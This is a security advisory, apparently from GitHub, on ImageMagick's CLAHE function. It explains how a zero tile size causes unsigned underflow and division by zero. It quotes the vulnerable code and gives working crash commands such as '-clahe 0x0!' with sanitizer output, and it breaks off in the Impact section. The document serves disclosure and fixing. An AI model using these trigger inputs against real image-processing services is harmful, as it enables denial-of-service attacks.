ImageMagick CLAHE : Unsigned underflow and division-by-zero lead to OOB pointer arithmetic and process crash (DoS)
Summary
A single root cause in the CLAHE implementation — tile width/height becoming zero — produces two distinct but related unsafe behaviors.
Vulnerabilities exists in the CLAHEImage() function of ImageMagick’s MagickCore/enhance.c.
1. Unsigned integer underflow → out-of-bounds pointer arithmetic (OOB): when tile_info.height == 0, the expression tile_info.height - 1 (unsigned) wraps to a very large value; using that value in pointer arithmetic yields a huge offset and OOB memory access (leading to memory corruption, SIGSEGV, or resource exhaustion).
2. Division/modulus by zero: where code performs ... / tile_info.width or ... % tile_info.height without re-checking for zero, causing immediate division-by-zero crashes under sanitizers or abort at runtime.
Both behaviors are triggered by the same invalid tile condition (e.g., CLI exact -clahe 0x0! or automatic tile derivation dim >> 3 == 0 for very small images).
Details
Unsigned underflow(can lea to OOB)
- Location:
MagickCore/enhance.c, around line 609 - Version tested: 7.1.2-8 (local ASan(undefined). /UBSan build)
- Vulnerable code
enhance.c: 609
```c
p += (ptrdiff_t) clahe_info->width * (tile.height - 1);
```
- Root Cause
- If
tile.height == 0, then (tile.height - 1) underflows to UINT_MAX. - Multiplication with
clahe_info->width yields a huge value close to SIZE_MAX. - Adding this to
p causes pointer arithmetic underflow.
Division-by-zero
- File / Location:
MagickCore/enhance.c, around line 669 - Version tested: 7.1.2-8 (local ASan(undefined). /UBSan build)
- vulnerable code
enhance.c: 669-673
```c
if ((image->columns % tile_info.width) != 0)
tile_info.x=(ssize_t) (tile_info.width-(image->columns % tile_info.width));
tile_info.y=0;
if ((image->rows % tile_info.height) != 0)
tile_info.y=(ssize_t) (tile_info.height-(image->rows % tile_info.height));
```
Missing input validation / bounds checks after computing default tile dimensions:
If either tile_info.width or tile_info.height is 0, this triggers a division by zero. Zeros can reach this point through:
1. Exact tiles: CLI clahe 0x0! (the ! forces zero to be used verbatim).
2. Auto tiles on tiny images: When a requested tile is 0 (no !), the code derives a default from the image size (e.g., dim >> 3). For images with dim < 8, this result is 0 unless clamped.
Reproduction
Unsigned underflow
Environment
Built with AddressSanitizer and UndefinedBehaviorSanitizer enabled.
```c
export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0
```
Command
```bash
./magick xc:black -clahe 0x0 null:
```
Output
```
MagickCore/enhance.c:609:6: runtime error: addition of unsigned offset overflowed
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/enhance.c:609:6 in CLAHEImage
```
./magick -size 10x10 xc:black -clahe 0x0 null:
<img width="1068" height="64" alt="image" src="https://github.com/user-attachments/assets/cd9637ee-1d03-4066-834d-fda22410dd8b" />
memory region corruption.
./magick -size 2000x2000 xc:black -clahe 0x0 null:
<img width="1069" height="70" alt="image" src="https://github.com/user-attachments/assets/ecbab79c-a3c2-4e8c-96c9-8e2aa8f0d2b2" />
→ Significant memory consumption and evidence of memory region corruption.
./magick -size 4000x4000 xc:black -clahe 0x0 null:
<img width="776" height="49" alt="image" src="https://github.com/user-attachments/assets/63a7cec5-616b-4aa5-87f3-a546a87e6625" />
→ Much larger memory usage; process appears to be aggressively consuming cache and address space.
./magick -size 8000x8000 xc:black -clahe 0x0 null:
<img width="748" height="46" alt="image" src="https://github.com/user-attachments/assets/48b3aac8-98b3-4fbb-a5ca-4e7936bca44b" />
→ Memory usage escalates further and begins exhausting available cache. If left running, the process is likely to crash (DoS) after sustained allocation attempts.
Division-by-zero
Environment: ASan/UBSan-enabled build.
```c
export UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
export ASAN_OPTIONS=abort_on_error=1:allocator_may_return_null=1:detect_leaks=0
```
Command
```bash
./magick -size 16x2 gradient: -type TrueColor -depth 8 -clahe 0x0! null:
```
Output
<img width="1915" height="818" alt="image" src="https://github.com/user-attachments/assets/cfe44432-b429-49e4-8673-2ed55ba9a961" />
Notes: Without sanitizers, the process may terminate with just Aborted (still DoS).
Impact
- Primary: Denial-of-Service — crash or sustained resource exhaustion (memory/cache thrash) when processing crafted parameters or small images via
